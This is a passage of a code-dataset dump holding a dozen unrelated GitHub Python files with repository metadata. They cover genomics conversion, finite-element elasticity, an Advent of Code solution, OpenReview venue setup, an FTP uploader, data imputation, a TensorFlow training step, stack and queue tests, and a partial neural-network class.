written\\n'.format(\n\t\tlen(gbkrecs)))\n\trmtree(tmp)\n\nif __name__ == '__main__':\n\tmain()\n","repo_name":"chrisgulvik/genomics_scripts","sub_path":"fasta2genbank.py","file_name":"fasta2genbank.py","file_ext":"py","file_size_in_byte":3302,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"37"} +{"seq_id":"2141326963","text":"from ooflib.SWIG.common import config\nfrom ooflib.SWIG.engine import cstrain\nfrom ooflib.SWIG.engine import fieldindex\nfrom ooflib.SWIG.engine import outputval\nfrom ooflib.SWIG.engine import planarity\nfrom ooflib.SWIG.engine import pypropertywrapper\nfrom ooflib.SWIG.engine import symmmatrix\nfrom ooflib.common import debug\nfrom ooflib.engine import problem\nfrom ooflib.engine import propertyregistration\nfrom ooflib.engine.IO import isocijkl\n\nclass PyElasticity(pypropertywrapper.PyFluxProperty):\n def modulus(self):\n return isocijkl.IsotropicRank4TensorCij(c11=1.0, c12=0.5).tensorForm()\n\n def flux_matrix(self, mesh, element, nodeiterator, flux, point, time,\n fluxdata):\n twoD = config.dimension() == 2\n sf = nodeiterator.shapefunction(point)\n dsf0 = nodeiterator.dshapefunction(0, point)\n dsf1 = nodeiterator.dshapefunction(1, point)\n if not twoD:\n dsf2 = nodeiterator.dshapefunction(2, point)\n cijkl = self.modulus()\n ij = problem.Stress.iterator(planarity.ALL_INDICES)\n while not ij.end():\n ell = problem.Displacement.iterator(planarity.ALL_INDICES)\n while not ell.end():\n ell0 = fieldindex.SymTensorIndex(0, ell.integer())\n ell1 = fieldindex.SymTensorIndex(1, ell.integer())\n val = (cijkl[(ij.integer(), ell0.integer())]*dsf0 + \n cijkl[(ij.integer(), ell1.integer())]*dsf1)\n if not twoD:\n ell2 = fieldindex.SymTensorIndex(2, ell.integer())\n val += cijkl[(ij.integer(), ell2.integer())]*dsf2\n fluxdata.add_stiffness_matrix_element(\n ij,\n problem.Displacement,\n ell,\n nodeiterator,\n val\n )\n ell.next()\n if twoD and not problem.Displacement.in_plane(mesh):\n oop = problem.Displacement.out_of_plane()\n kay = oop.iterator(planarity.ALL_INDICES)\n while not kay.end():\n kl = fieldindex.SymTensorIndex(2, ell.integer)\n fluxdata.add_stiffness_matrix_element(\n ij, oop, kay, nodeiterator,\n cijkl[(ij.integer(), kl.integer())]*sf\n )\n kay.next()\n ij.next()\n\n def integration_order(self, subproblem, element):\n if (config.dimension() == 2 and\n problem.Displacement.in_plane(subproblem.get_mesh())):\n return element.dshapefun_degree()\n return element.shapefun_degree()\n\n def output(self, mesh, element, output, pos):\n if output.name() == \"Energy\":\n etype = output.getEnumParam(\"etype\")\n if etype in (\"Total\", \"Elastic\"):\n mod = self.modulus()\n # strain is a SymmMatrix3. modulus is a cijkl.Cijkl\n strain = cstrain.findGeometricStrain(mesh, element, pos, False)\n stress = mod*strain # another SymmMatrix3.\n return outputval.ScalarOutputVal(0.5*stress.contract(strain))\n # TODO INDEXING: It would be good to be able to write\n # that like this:\n ## e = 0\n ## for ij in stress.getIterator():\n ## if ij.diagonal():\n ## e += stress[ij]*strain[ij]\n ## else:\n ## e += 2*stress[ij]*strain[ij]\n ## return ScalarOutputVal(0.5*e)\n # Although it would be slower than the calling\n # SymmMatrix3.contract(), it would be more easily\n # modifiable and applicable to specialized Python\n # Properties. The reason that it's not currently\n # written that way is that stress.getIterator returns\n # a generic IteratorP object, which is what\n # SymmMatrix3.__getitem__ wants as a arg, but\n # IteratorP doesn't have a diagonal() method.\n \n\nreg = propertyregistration.PropertyRegistration(\n 'Mechanical:Elasticity:PyIsotropic',\n PyElasticity,\n \"ooflib.engine.property.elasticity.pyelasticity\",\n ordering=10000,\n outputs=[\"Energy\"],\n propertyType=\"Elasticity\",\n secret=True,\n tip=\"Isotropic linear elasticity implemented in Python.\")\n\nreg.fluxInfo(fluxes=[problem.Stress], fields=[problem.Displacement],\n time_derivs=[0])\n","repo_name":"usnistgov/OOF3D","sub_path":"SRC/engine/property/elasticity/pyelasticity.py","file_name":"pyelasticity.py","file_ext":"py","file_size_in_byte":4547,"program_lang":"python","lang":"en","doc_type":"code","stars":31,"dataset":"github-code","pt":"37"} +{"seq_id":"70866975788","text":"\"\"\"\n @file day_22.py\n @brief day 22 advent of code solution.\n @author Graham Riches\n @details got really tired of string parsing in C++ so started switching over to doing these in python\n unless I'm feeling particularly aggressive :D\n\"\"\"\nimport re\n\n\ndef load_player_hands(filename: str) -> tuple:\n \"\"\"\n load the player hands from a file\n :param filename: the filename\n :return: tuple of hands (p1, p2)\n \"\"\"\n player_hands = re.sub('Player \\\\d:\\n', '', open(filename).read())\n p1, p2 = player_hands.split('\\n\\n')\n player_one = [int(x) for x in p1.split('\\n')]\n player_two = [int(x) for x in p2.split('\\n')]\n return player_one, player_two\n\n\ndef regular_combat(p1: list, p2: list) -> list:\n \"\"\"\n play a regular game of Combat between p1 and p2. Return the winning hand\n :param p1: player one hand\n :param p2: player two hand\n :return:the winning hand\n \"\"\"\n while len(p1) != 0 and len(p2) != 0:\n cards = [p1.pop(0), p2.pop(0)]\n if cards[0] > cards[1]:\n p1.extend(cards)\n else:\n p2.extend(sorted(cards, reverse=True))\n return p1 if len(p1) > len(p2) else p2\n\n\ndef recursive_combat(p1: list, p2: list) -> tuple:\n \"\"\"\n play a game of recursive combat. Note: this returns a tuple containing each players hand\n after the game. This is used recursively to figure out who won sub rounds/\n :param p1: player one's hand\n :param p2: player two's hand\n :return: each players hands\n \"\"\"\n game_hands = dict()\n iteration = 0\n while len(p1) != 0 and len(p2) != 0:\n p1_start = p1[:]\n p2_start = p2[:]\n for key, value in game_hands.items():\n if value[0] == p1_start and value[1] == p2_start:\n return [1], []\n else:\n cards = [p1.pop(0), p2.pop(0)]\n # game recursion condition\n if len(p1) >= cards[0] and len(p2) >= cards[1]:\n r1, r2 = recursive_combat(p1[0:cards[0]], p2[0:cards[1]])\n # check for duplicate returns\n if r1 == [1] and r2 == []:\n p1.extend(cards)\n elif len(r1) > len(r2):\n p1.extend(cards)\n else:\n cards.reverse()\n p2.extend(cards)\n elif cards[0] > cards[1]:\n p1.extend(cards)\n else:\n p2.extend(sorted(cards, reverse=True))\n game_hands[iteration] = [p1_start, p2_start]\n iteration += 1\n return p1, p2\n\n\ndef calculate_score(winning_hand: list) -> int:\n \"\"\"\n calculate the score of the winning hand\n :param winning_hand: list of cards\n :return: hand score\n \"\"\"\n return sum([x * y for x, y in zip(winning_hand, range(len(winning_hand), 0, -1))])\n\n\nif __name__ == '__main__':\n # Part One\n score = calculate_score(regular_combat(*load_player_hands('input.txt')))\n print('Winning Score: {}'.format(score))\n\n # Part Two\n p1, p2 = recursive_combat(*load_player_hands('input.txt'))\n winner = p1 if len(p1) > len(p2) else p2\n score = calculate_score(winner)\n print('Winning Score: {}'.format(score))\n","repo_name":"graham-riches/advent-of-code-2020","sub_path":"day-22/day_22.py","file_name":"day_22.py","file_ext":"py","file_size_in_byte":3181,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"2792497887","text":"#!/usr/bin/python\n\nimport openreview\nimport datetime\n\ndef get_conference(client):\n\n builder = openreview.conference.ConferenceBuilder(client)\n\n builder.set_conference_id('adai.ai/DAI/2019/Conference')\n builder.set_conference_name('Conference on Distributed Artificial Intelligence')\n builder.set_conference_short_name('DAI 2019')\n builder.set_homepage_header({\n 'title': 'Conference on Distributed Artificial Intelligence',\n 'subtitle': '',\n 'deadline': 'Submission Deadline: 18th of June, 2019 (23:59 UTC-12)',\n 'date': '13 - 15 Oct, 2019',\n 'website': 'http://www.adai.ai',\n 'location': 'Beijing China',\n 'instructions': '''

Important Notes about Submitting a Paper:\n

    \n
  • The paper length is limited to 6 pages, with 1 additional page containing only bibliographic references.
  • \n
  • All work must be original, i.e., it must not have appeared in a conference proceedings, book, or journal and may not be under review for another archival conference.
  • \n
  • The DAI 2019 review process is double blind. Please make sure that the submission does not disclose the author's identities or affiliation.
  • \n
  • Neither submissions nor the reviewing process will be public.
  • \n

\n

Questions or Concerns:
\nPlease contact the DAI 2019 Program chairs at dai2019chairs@gmail.com.
\nPlease contact the OpenReview support team at info@openreview.net with any OpenReview related questions or concerns.

'''\n })\n builder.set_submission_stage(double_blind = True, due_date = datetime.datetime(2019, 6, 19, 11, 59), remove_fields = ['TL;DR'])\n builder.set_bid_stage(due_date=datetime.datetime(2019,7,5,11,59), request_count = 30)\n builder.set_review_stage(start_date =datetime.datetime(2019,7,6,11,59), due_date = datetime.datetime(2019,7,27,11,59))\n builder.set_decision_stage(start_date = datetime.datetime(2019,7,27,11,59))\n builder.set_comment_stage(reader_selection=True)\n builder.set_authorpage_header({'schedule':\n '''

Submission Period

\n

    \n
  • Submission deadline: 18th of June, 2019
  • \n
  • Authors can revise their paper as many times as needed up to the paper submission deadline.
  • \n
  • Authors can submit an abstract without a paper through 12th of June. After that the pdf is required to create a submission.
  • \n
  • Please ensure that the email addresses of the corresponding author are up-to-date in his or her profile.
  • \n
  • Update your profile to include your most up-to-date information, including work history and relations, to ensure proper conflict-of-interest detection during the paper matching process.
  • \n

\n
\n

Decisions

\n

    \n
  • 30th of July 2019 (23:59 UTC-12)
  • \n

'''})\n\n builder.set_reviewerpage_header({'schedule':\n '''

Submission Period

\n

    \n
  • Submission deadline: June 18th, 2019
  • \n
  • Update your profile to include your most up-to-date information, including work history and relations, to ensure proper conflict-of-interest detection during the paper matching process.
  • \n

\n
\n

Reviewing Period

\n

    \n
  • Due: 26th of July, 2019(23:59 UTC-12)
  • \n
  • During the review period, authors will not be allowed to revise their paper.
  • \n

'''})\n\n #builder.set_override_homepage(True)\n return builder.get_result()\n\n","repo_name":"openreview/openreview-scripts","sub_path":"venues/adai.ai/DAI/2019/Conference/python/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":3870,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"37"} +{"seq_id":"32583701823","text":"import ftplib\r\nimport os\r\nimport re\r\nCONST_BUFFER_SIZE = 8192\r\n\r\n\r\ndef main(remote_dict, local_dict, file_name, host, user, pwd):\r\n ftp_client = _connect(host, user, pwd)\r\n if not ftp_client:\r\n return False\r\n ftp_client = _prepare_remote_dict(ftp_client, remote_dict)\r\n if file_name != \"*\":\r\n result = _upload(ftp_client, local_dict, file_name)\r\n else:\r\n result = _uploads(ftp_client, local_dict)\r\n _disconnect(ftp_client)\r\n return result\r\n\r\n\r\ndef _connect(host, user, pwd):\r\n try:\r\n ftp_client = ftplib.FTP()\r\n ftp_client.connect(host)\r\n ftp_client.login(user, pwd)\r\n return ftp_client\r\n except Exception as e:\r\n return None\r\n\r\n\r\ndef _prepare_remote_dict(ftp_client, remote_path):\r\n path_list = remote_path.split(\"/\")\r\n for dictionary in path_list:\r\n if dictionary not in ftp_client.nlst():\r\n ftp_client.mkd(dictionary)\r\n break\r\n ftp_client.cwd(dictionary)\r\n return ftp_client\r\n\r\n\r\ndef _upload(ftp_client, local_dict, file_name):\r\n file_path = local_dict + file_name\r\n f = open(file_path, \"rb\")\r\n try:\r\n ftp_client.storbinary('STOR %s' % file_name, f, CONST_BUFFER_SIZE)\r\n print(\"upload successful!\")\r\n except ftplib.error_perm as e:\r\n print('upload failed: ',e)\r\n return False\r\n return True\r\n\r\n\r\ndef _uploads(ftp_client, local_dict):\r\n file_name_list = os.listdir(local_dict)\r\n result = False\r\n for file_name in file_name_list:\r\n file_path = local_dict + file_name\r\n if os.path.isfile(file_path):\r\n result = _upload(ftp_client, local_dict, file_name)\r\n if not result:\r\n return result\r\n return result\r\n\r\n\r\ndef _disconnect(ftp_client):\r\n ftp_client.quit()\r\n\r\n\r\nif __name__ == \"__main__\":\r\n main(upload_address,file_path, file_location)\r\n","repo_name":"flannery0/picture_replace","sub_path":"ftp_upload.py","file_name":"ftp_upload.py","file_ext":"py","file_size_in_byte":1877,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"32878351033","text":"firstString = input('Enter first string: ')\r\nsecondString = input('Enter second string: ')\r\n\r\n\r\ndef exchange_combine(first_string, second_string):\r\n first_string_first_two = first_string[:2]\r\n second_string_first_two = second_string[:2]\r\n first_word = first_string_first_two + second_string[2:]\r\n second_word = second_string_first_two + first_string[2:]\r\n combined_word = second_word + \" \" + first_word\r\n return combined_word\r\n\r\n\r\nprint(exchange_combine(firstString, secondString))","repo_name":"sidmaskey13/python_assignments","sub_path":"DT4.py","file_name":"DT4.py","file_ext":"py","file_size_in_byte":499,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"7130182070","text":"\ndef simple_imputation(data, method='mean'):\n \"\"\"\n Perform simple imputation for NaN values in a DataFrame using the specified method.\n\n Parameters:\n -----------\n data : pandas.DataFrame\n The input DataFrame containing NaN values to be imputed.\n method : str\n The method used to impute the missing values. Valid options are 'mean', 'median', 'mode'.\n Default is 'mean'.\n\n Returns:\n --------\n pandas.DataFrame\n A DataFrame with NaN values imputed using the specified method.\n \"\"\"\n\n import pandas as pd\n import numpy as np\n\n if not isinstance(data, pd.DataFrame):\n raise TypeError(\"Input data must be a pandas DataFrame.\")\n\n if not data.select_dtypes(include=[np.number]).columns.any():\n raise ValueError(\"Input DataFrame must contain numerical data.\")\n \n df_copy = data.copy()\n\n isna_stat = (df_copy.isna().sum() / df_copy.shape[0]).sort_values(ascending=True)\n if isna_stat.max() > 0.0: \n if method == 'mean':\n df_copy = df_copy.fillna(df_copy.mean())\n print('NaN values imputed with mean.')\n elif method == 'median':\n df_copy = df_copy.fillna(df_copy.median())\n print('NaN values imputed with median.')\n elif method == 'mode':\n df_copy = df_copy.fillna(df_copy.mode().iloc[0])\n print('NaN values imputed with mode.')\n else:\n raise ValueError(f'Invalid imputation method: {method}.')\n else: \n print('No need to impute data.')\n return df_copy\n\n\ndef distance_imputation(data, metric='euclidean'):\n \"\"\"\n Perform imputation for NaN values in a DataFrame using the distance method.\n\n Parameters:\n -----------\n data : pandas.DataFrame\n The input DataFrame containing NaN values to be imputed.\n metric : str\n The metric used to impute the missing values. Valid options are 'euclidean', 'manhattan', or 'max'.\n Default is 'euclidean'.\n\n Returns:\n --------\n pandas.DataFrame\n A DataFrame with NaN values imputed using the specified method.\n \"\"\"\n\n\n from neulab.Vector.recover import replace_missing_with_distance\n import pandas as pd\n import numpy as np\n\n if not isinstance(data, pd.DataFrame):\n raise TypeError(\"Input data must be a pandas DataFrame.\")\n\n if not data.select_dtypes(include=[np.number]).columns.any():\n raise ValueError(\"Input DataFrame must contain numerical data.\")\n\n if metric not in ['euclidean', 'manhattan', 'max']:\n raise ValueError(f'Invalid imputation metric: {metric}.')\n\n df_copy = data.copy()\n\n isna_stat = (df_copy.isna().sum() / df_copy.shape[0]).sort_values(ascending=True)\n if isna_stat.max() > 0.0: \n\n vector = df_copy.values.T\n\n recovered_array = replace_missing_with_distance(vector, metric=metric)\n\n # replace NaN values in df_copy with the recovered values\n df_copy.iloc[:, :] = recovered_array[0].T\n\n print(f'NaN values imputed with {metric} metric.')\n\n else: \n print('No need to impute data.')\n\n return df_copy\n\n\ndef iterative_imputation(data):\n \"\"\"\n Imputes missing values in a given DataFrame using the IterativeImputer.\n\n The algorithm works by modeling the missing values as \n a function of the other features in the dataset. \n It starts by filling in missing values with initial estimates, \n such as the mean or median of the non-missing values. \n It then uses this initial estimate to fit a model to the non-missing \n values and predict the missing values. This process is repeated multiple \n times, with the predicted values from each iteration being used as the \n input for the next iteration.\n\n IterativeImputer is useful when the missing values in a dataset are not \n completely at random, and there is some pattern or relationship between \n the missing values and the other features. However, it is important to \n note that this method can be computationally expensive, especially for \n large datasets or when using complex regression models.\n \n Parameters:\n -----------\n data : pandas.DataFrame\n The input DataFrame.\n \n Returns:\n --------\n pandas.DataFrame\n A DataFrame with missing values imputed using IterativeImputer, if any.\n \"\"\"\n\n import pandas as pd\n import numpy as np\n from sklearn.experimental import enable_iterative_imputer\n from sklearn.impute import IterativeImputer\n\n if not isinstance(data, pd.DataFrame):\n raise TypeError(\"Input data must be a pandas DataFrame.\")\n\n if not data.select_dtypes(include=[np.number]).columns.any():\n raise ValueError(\"Input DataFrame must contain numerical data.\")\n\n df_copy = data.copy()\n\n isna_stat = (df_copy.isna().sum()/df_copy.shape[0]).sort_values(ascending=True) \n if isna_stat.max() > 0.0: \n print('Imputing NaN using IterativeImputer') \n df_copy = pd.DataFrame(IterativeImputer(random_state=0).fit_transform(df_copy), columns = df_copy.columns) \n else: \n print('No need to impute data.')\n return df_copy\n","repo_name":"kndahl/neulab","sub_path":"neulab/Dataframe/recover.py","file_name":"recover.py","file_ext":"py","file_size_in_byte":5118,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"37"} +{"seq_id":"352729760","text":"import openpyxl as px\r\nimport pandas as pd\r\n\r\nmmyyyyy = '2023-01'\r\npurpose = ['教育', 'その他']\r\nproduct = [['T6XH8', 'T6XN6', 'T6XN5', 'T6XM9', 'T6XP6'], ['T6XZ0']]\r\ndvision = ['その他', 'BiCS4.5以前', 'BiCS5', 'BiCS6']\r\naffiliation = ['解析2', '信技', 'PE技', '品証']\r\n\r\nwb = px.load_workbook('doc.xlsx')\r\nws = wb[mmyyyyy]\r\n\r\nd1 = [0 for i in range(4)]\r\nd2 = [0 for i in range(4)]\r\nd = [[0 for i in range(4)] for j in range(4)]\r\ni = 9\r\n\r\nwhile not ws.cell(row=i, column=13).value is None:\r\n if ws.cell(row=i, column=13).value in purpose:\r\n x = 0\r\n else:\r\n if ws.cell(row=i, column=14).value not in sum(product, []):\r\n x = 1\r\n else:\r\n for j in range(2):\r\n if ws.cell(row=i, column=14).value in product[j]:\r\n x = j + 2\r\n else:\r\n pass \r\n \r\n dt1 = ws.cell(row=i, column=7).value - ws.cell(row=i, column=4).value\r\n dt2 = ws.cell(row=i, column=9).value - ws.cell(row=i, column=6).value\r\n dt3 = 0 if dt1 > 0 else 24\r\n dt4 = ((dt1 + dt3) * 60) + dt2\r\n \r\n for j in range(4):\r\n if ws.cell(row=i, column=24).value == affiliation[j]:\r\n y = j\r\n else:\r\n pass\r\n\r\n d[x][y] += dt4\r\n i += 1\r\n\r\nfor x in range(4):\r\n for y in range(4):\r\n d1[x] += d[y][x]\r\n d2[x] += d[x][y]\r\n\r\nd3 = [d1[0], d1[2], d1[3]]\r\nd4 = [0 for i in range(4)]\r\n\r\nfor x in range(4):\r\n d4[x] += d2[x] - d[x][1]\r\n\r\nd5 = d1 + d2\r\nd6 = affiliation + dvision\r\nd7 = pd.Series(d5, index=d6)\r\nd8 = d7 / 60\r\nd9 = d8.to_frame(name=mmyyyyy)\r\n\r\nd10 = d3 + d4\r\nd11 = ['解析2', 'PE技', '品証'] + dvision\r\nd12 = pd.Series(d10, index=d11)\r\nd13 = d12 / 60\r\nd14 = d13.to_frame(name=mmyyyyy)\r\n\r\nd15 = pd.concat([d9, d14], axis=0)\r\nd15.to_excel('out.xlsx', index=True, header=True)\r\n","repo_name":"yudai199x/Panda-Express","sub_path":"project-1.py","file_name":"project-1.py","file_ext":"py","file_size_in_byte":1838,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"36460928005","text":"import motor.motor_asyncio\nfrom beanie import init_beanie\n\nfrom db.config import settings\nfrom db.models import (\n MediaFusionSeriesMetaData,\n MediaFusionMovieMetaData,\n Streams,\n TVStreams,\n MediaFusionTVMetaData,\n)\n\n\nasync def init():\n # Create Motor client\n client = motor.motor_asyncio.AsyncIOMotorClient(settings.mongo_uri)\n\n # Init beanie with the Product document class\n await init_beanie(\n database=client.mediafusion,\n document_models=[\n MediaFusionMovieMetaData,\n MediaFusionSeriesMetaData,\n Streams,\n TVStreams,\n MediaFusionTVMetaData,\n ],\n )\n","repo_name":"mhdzumair/MediaFusion","sub_path":"db/database.py","file_name":"database.py","file_ext":"py","file_size_in_byte":660,"program_lang":"python","lang":"en","doc_type":"code","stars":25,"dataset":"github-code","pt":"37"} +{"seq_id":"31774393955","text":"import tensorflow as tf\n\noptimizer = tf.optimizers.Adam()\nloss_object = tf.keras.losses.SparseCategoricalCrossentropy(from_logits=True, reduction='none')\n\n\ndef loss_function(real, pred):\n mask = tf.math.logical_not(tf.math.equal(real, 0))\n loss_ = loss_object(real, pred)\n\n mask = tf.cast(mask, dtype=loss_.dtype)\n loss_ *= mask\n\n return tf.reduce_mean(loss_)\n\n\ndef train_step(tokenizer, cnn_encoder, rnn_decoder, img_tensor, target):\n loss = 0\n\n # initializing the hidden state for each batch\n # because the captions are not related from image to image\n hidden = rnn_decoder.reset_state(batch_size=target.shape[0])\n dec_input = tf.expand_dims([tokenizer.word_index['']] * target.shape[0], 1)\n\n with tf.GradientTape() as tape:\n features = cnn_encoder(img_tensor)\n\n for i in range(1, target.shape[1]):\n # passing the features through the decoder\n predictions, hidden, _ = rnn_decoder(dec_input, features, hidden)\n\n loss += loss_function(target[:, i], predictions)\n\n # using teacher forcing\n dec_input = tf.expand_dims(target[:, i], 1)\n\n total_loss = (loss / int(target.shape[1]))\n\n trainable_variables = cnn_encoder.trainable_variables + rnn_decoder.trainable_variables\n\n gradients = tape.gradient(loss, trainable_variables)\n\n optimizer.apply_gradients(zip(gradients, trainable_variables))\n\n return loss, total_loss","repo_name":"ajtnlaos-hub/SantaToss","sub_path":"utils/train_utils.py","file_name":"train_utils.py","file_ext":"py","file_size_in_byte":1438,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"33658937923","text":"from __future__ import unicode_literals\nfrom frappe import _\n\n\ndef get_data():\n\tpc_setup = {\n\t\t\"label\": _(\"PC Setup\"),\n\t\t\"icon\": \"octicon octicon-briefcase\",\n\t\t\"items\": [\n\t\t\t{\n\t\t\t\t\"name\": \"Activity Categories\",\n\t\t\t\t\"type\": \"doctype\",\n\t\t\t\t\"label\": _(\"Activity Categories\"),\n\t\t\t\t\"description\": _(\"Activity Categories\")\n\t\t\t},\n\t\t\t{\n\t\t\t\t\"name\": \"Indicators\",\n\t\t\t\t\"type\": \"doctype\",\n\t\t\t\t\"label\": _(\"Indicators\"),\n\t\t\t\t\"description\": _(\"Indicators\")\n\t\t\t}\n\t\t]\n\t}\n\n\treturn [\n\t\tpc_setup\n\t]\n","repo_name":"Mwogi/erpnext_pc","sub_path":"performance_contracting/config/performance_contracting.py","file_name":"performance_contracting.py","file_ext":"py","file_size_in_byte":479,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"74178938987","text":"from stack_and_queue import __version__\nfrom stack_and_queue.stack import Stack\nfrom stack_and_queue.queue import Queue\nfrom stack_and_queue.node import Node\n\ndef test_version():\n assert __version__ == '0.1.0'\n\nimport pytest\n\n\ndef test_is_empty():\n \"\"\"\n is_empty test\n \"\"\"\n stack=Stack()\n expected=True\n actual= stack.is_empty()\n assert expected == actual\n\ndef test_push():\n \"\"\"\n push method test\n \"\"\"\n stack=Stack()\n stack.push(8)\n expected=8\n actual=stack.top.data\n\n assert expected == actual\n\ndef test_pushMulti():\n \"\"\"\n push method test for pushing multi item in stack\n \"\"\"\n stack=Stack()\n stack.push(18)\n stack.push(27)\n stack.push('pushed')\n expected='pushed'\n actual=stack.top.data\n\n assert expected == actual\n\ndef test_multiPops():\n \"\"\"\n pop method test to empty the stack\n \"\"\"\n stack=Stack()\n stack.push(10)\n stack.push('data')\n\n stack.pop()\n stack.pop()\n expected=True\n actual=stack.is_empty()\n assert actual==expected\n\ndef test_pop():\n \"\"\"\n pop method test\n \"\"\"\n stack=Stack()\n stack.push(7)\n stack.push(15)\n stack.push(26)\n expected=26\n actual=stack.pop()\n assert actual==expected\n \ndef test_peek():\n \"\"\"\n peek method test\n \"\"\"\n stack=Stack()\n stack.push(0)\n stack.push(21)\n stack.push(35)\n expected=35\n actual=stack.peek()\n assert expected==actual\n\ndef test_peek_empty_stack():\n '''test peek when the stack is empty'''\n stack=Stack()\n expected='This stack is empty'\n actual=stack.peek()\n assert expected==actual\n\n\n#------------------------\n# Queue Tests\n#------------------------\n\n\ndef test_is_empty():\n \"\"\"\n is_empty test\n \"\"\"\n q=Queue()\n expected=True\n actual= q.is_empty()\n assert expected == actual\n\ndef test_enqueue():\n \"\"\"\n enqueue method test\n \"\"\"\n q=Queue()\n q.enqueue(14)\n expected=14\n actual=q.rear.data\n\n assert expected == actual\n\n\ndef test_enqueueMulti():\n \"\"\"\n enqueue method test for multi node\n \"\"\"\n q=Queue()\n q.enqueue(10)\n q.enqueue(5)\n q.enqueue(0)\n expected=0\n actual=q.rear.data\n\n assert expected == actual\n\n\ndef test_dequeue():\n \"\"\"\n dequeue method test\n \"\"\"\n q=Queue()\n q.enqueue(10)\n q.enqueue(12)\n q.enqueue(13)\n expected=10\n actual=q.dequeue()\n assert actual==expected\n\ndef test_dequeueData():\n \"\"\"\n dequeue all data test\n \"\"\"\n q=Queue()\n q.enqueue(10)\n q.enqueue(1)\n q.enqueue(7)\n q.dequeue()\n q.dequeue()\n q.dequeue()\n expected=True\n actual=q.is_empty()\n assert actual==expected\n\n\ndef test_peek():\n '''peek test'''\n q=Queue()\n q.enqueue(99)\n q.enqueue(7)\n q.enqueue(19)\n expected=99\n actual=q.peek()\n assert expected==actual\n\ndef test_peek2():\n '''empty queue peek testing'''\n q=Queue()\n expected='queue is empty'\n actual=q.peek()\n assert expected==actual","repo_name":"oqlaalrefai/data-structures-and-algorithms","sub_path":"python/code_challenges/stack-and-queue/tests/test_stack_and_queue.py","file_name":"test_stack_and_queue.py","file_ext":"py","file_size_in_byte":2972,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"26578147855","text":"import numpy as np\r\nfrom scipy.special import expit\r\nimport sys\r\nimport matplotlib.pyplot as plt\r\nimport gdal\r\nfrom PIL import Image\r\nimport tempreader\r\n\r\n\r\nclass NeuralNetMLP(object):\r\n \"\"\" Feed forward neural network / Multi-layer perceptron classifier.\r\n\r\n Parameters\r\n ------------\r\n n_output : int\r\n Number of output units, should be equal to the\r\n number of unique class labels.\r\n n_features : int\r\n Number of features (dimensions) in the target dataset.\r\n Should be equal to the number of columns in the X array.\r\n n_hidden : int (default: 30)\r\n Number of hidden units.\r\n l1 : float (default: 0.0)\r\n Lambda value for L1-regularization.\r\n No regularization if l1=0.0 (default)\r\n l2 : float (default: 0.0)\r\n Lambda value for L2-regularization.\r\n No regularization if l2=0.0 (default)\r\n epochs : int (default: 500)\r\n Number of passes over the training set.\r\n eta : float (default: 0.001)\r\n Learning rate.\r\n alpha : float (default: 0.0)\r\n Momentum constant. Factor multiplied with the\r\n gradient of the previous epoch t-1 to improve\r\n learning speed\r\n w(t) := w(t) - (grad(t) + alpha*grad(t-1))\r\n decrease_const : float (default: 0.0)\r\n Decrease constant. Shrinks the learning rate\r\n after each epoch via eta / (1 + epoch*decrease_const)\r\n shuffle : bool (default: True)\r\n Shuffles training data every epoch if True to prevent circles.\r\n minibatches : int (default: 1)\r\n Divides training data into k minibatches for efficiency.\r\n Normal gradient descent learning if k=1 (default).\r\n random_state : int (default: None)\r\n Set random state for shuffling and initializing the weights.\r\n\r\n Attributes\r\n -----------\r\n cost_ : list\r\n Sum of squared errors after each epoch.\r\n\r\n \"\"\"\r\n def __init__(self, n_output, n_features, n_hidden=30,\r\n l1=0.0, l2=0.0, epochs=500, eta=0.001,\r\n alpha=0.0, decrease_const=0.0, shuffle=True,\r\n minibatches=1, random_state=None):\r\n\r\n np.random.seed(random_state)\r\n self.n_output = n_output\r\n self.n_features = n_features\r\n self.n_hidden = n_hidden\r\n self.w1, self.w2 = self._initialize_weights()\r\n self.l1 = l1\r\n self.l2 = l2\r\n self.epochs = epochs\r\n self.eta = eta\r\n self.alpha = alpha\r\n self.decrease_const = decrease_const\r\n self.shuffle = shuffle\r\n self.minibatches = minibatches\r\n \r\n \r\n def ReadBilFile(self,bil,bands,pixels):\r\n extract_band=1\r\n image=np.zeros([pixels,bands], dtype=np.uint8)\r\n gdal.GetDriverByName('EHdr').Register()\r\n img = gdal.Open(bil)\r\n while bands>=extract_band:\r\n bandx = img.GetRasterBand(extract_band)\r\n datax = bandx.ReadAsArray()\r\n temp=datax\r\n store=temp.reshape(pixels)\r\n for i in range(pixels):\r\n image[i][extract_band-1]=store[i]\r\n extract_band=extract_band+1\r\n return image\r\n\r\n\r\n \r\n def _encode_labels(self, y, k):\r\n \"\"\"Encode labels into one-hot representation\r\n\r\n Parameters\r\n ------------\r\n y : array, shape = [n_samples]\r\n Target values.\r\n\r\n Returns\r\n -----------\r\n onehot : array, shape = (n_labels, n_samples)\r\n\r\n \"\"\"\r\n onehot = np.zeros((k, y.shape[0]))\r\n for idx, val in enumerate(y):\r\n onehot[val, idx] = 1.0\r\n return onehot\r\n\r\n def _initialize_weights(self):\r\n \"\"\"Initialize weights with small random numbers.\"\"\"\r\n w1 = np.random.uniform(-1.0, 1.0,\r\n size=self.n_hidden*(self.n_features + 1))\r\n w1 = w1.reshape(self.n_hidden, self.n_features + 1)\r\n w2 = np.random.uniform(-1.0, 1.0,\r\n size=self.n_output*(self.n_hidden + 1))\r\n w2 = w2.reshape(self.n_output, self.n_hidden + 1)\r\n return w1, w2\r\n\r\n def _sigmoid(self, z):\r\n \"\"\"Compute logistic function (sigmoid)\r\n\r\n Uses scipy.special.expit to avoid overflow\r\n error for very small input values z.\r\n\r\n \"\"\"\r\n # return 1.0 / (1.0 + np.exp(-z))\r\n return expit(z)\r\n\r\n def _sigmoid_gradient(self, z):\r\n \"\"\"Compute gradient of the 